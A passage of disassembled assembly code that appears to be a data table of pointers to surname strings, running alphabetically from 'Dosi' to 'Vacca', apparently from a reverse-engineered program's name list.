		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
